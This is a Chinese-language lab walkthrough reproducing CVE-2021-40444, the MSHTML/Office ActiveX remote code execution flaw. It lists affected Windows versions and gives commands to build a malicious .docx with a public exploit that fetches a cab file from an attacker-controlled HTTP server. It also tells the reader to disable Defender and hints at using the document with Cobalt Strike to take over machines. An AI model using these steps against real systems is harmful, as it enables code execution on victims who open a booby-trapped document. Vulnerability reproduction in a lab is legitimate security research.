Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

風御安全團隊·末心 2021年11月6日

0x01漏洞簡述

2021年9月8日,微軟釋出安全通告披露了Microsoft MSHTML遠端程式碼執行漏洞,攻擊者可透過製作惡意的ActiveX控制元件供託管瀏覽器呈現引擎的 Microsoft Office文件使用,成功誘導使用者開啟惡意文件後,可在目標系統上以該使用者許可權執行任意程式碼,微軟在通告中指出已檢測到該漏洞被在野利用,請相關使用者採取措施進行防護。

經過對威脅檔案的分析,基本上就是它會去請求伺服器獲取一個cab檔案,並且會透過執行cpl檔案去執行一個inf。

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

MSHTML(又稱為Trident)是微軟旗下的Internet Explorer瀏覽器引擎,也用於Office應用程式,以在Word、Excel或PowerPoint文件中呈現Web託管的內容,AcitveX控制元件是微軟COM架構下的產物,在Windows的Office套件、IE瀏覽器中有廣泛的應用,利用ActiveX控制元件即可與MSHTML元件進行互動。

該漏洞影響:

Windows Server, version 20H2 (Server Core Installation)

Windows Server, version 2004 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 32-bit Systems Service Pack 2

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows RT 8。1

Windows 8。1 for x64-based systems

Windows 8。1 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 32-bit Systems Service Pack 1

Windows 10 for x64-based Systems

Windows 10 32-bit Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 32-bit Systems

Windows 10 Version 2004 for x64-based Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 32-bit Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 32-bit Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 32-bit Systems

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 32-bit Systems

該漏洞可導致程式碼執行!

0x02漏洞環境

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

KaliIP:172。31。44。252

WindowsServer2019和 Office10IP:192。168。32。132(記得設定為NAT,復現不成功大部分都是因為這個)

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

可以與路由等連通

0x03基礎構建

今天我們使用一個新的環境:WSL執行的Kali子系統,配合Win-Kex環境。

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

apt-get install lcab

如果無法下載,可以使用debian的源或者從debian的源中直接下載、構建:

wget http://ftp。debian。org/debian/pool/main/l/lcab/lcab_1。0b12。orig。tar。gz

tar zxvf lcab_1。0b12。orig。tar。gz

cd lcab-1。0b12

。/configure

make

sudo make install

安裝lcab

我們使用https://github。com/lockedbyte/CVE-2021-40444這個EXP,已經幫網路不好的同學放到了Gitee上:https://gitee。com/moxinwangluo/CVE-2021-40444

下面我們執行命令,建立檔案。

python3 exploit。py generate test/calc。dll http://172。31。44。252:80

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

在我們的exploit目錄下面的out資料夾中,已經生成了document。docx檔案。

python3 exploit。py host 80

我們啟動了一個http服務,服務的根目錄在exploit目錄下的/srv裡。

啟動一個Kex看一下這個檔案

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

可以看出,這裡是向外請求了一個檔案,也就是透過這個word重新請求到了我的伺服器上,拿了這個cab檔案。

Ie瀏覽器要啟動Activex控制元件和外掛(我在想,Windows7復現是不是更簡單???)

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

記得要禁用Defender

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

如果你是Server的Windows使用者,要記得關閉InternetExplorer的增強安全配置

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

為了安全起見,Windows安全中心也給關了。

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

選擇開發者工具

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

建立一個http。server

接著訪問拿檔案

Microsoft在野漏洞CVE2021-40444(Microsoft Office MShtml聯動)

開啟後彈出了各種ie的Payload,但是沒有彈視窗,可能是Ie瀏覽器的設定不對。

我們也可以在document。docx檔案中進行一些修改,配合Cs來“上線”我們的機器。

TAG: Server10BasedSystemsWindowsVersion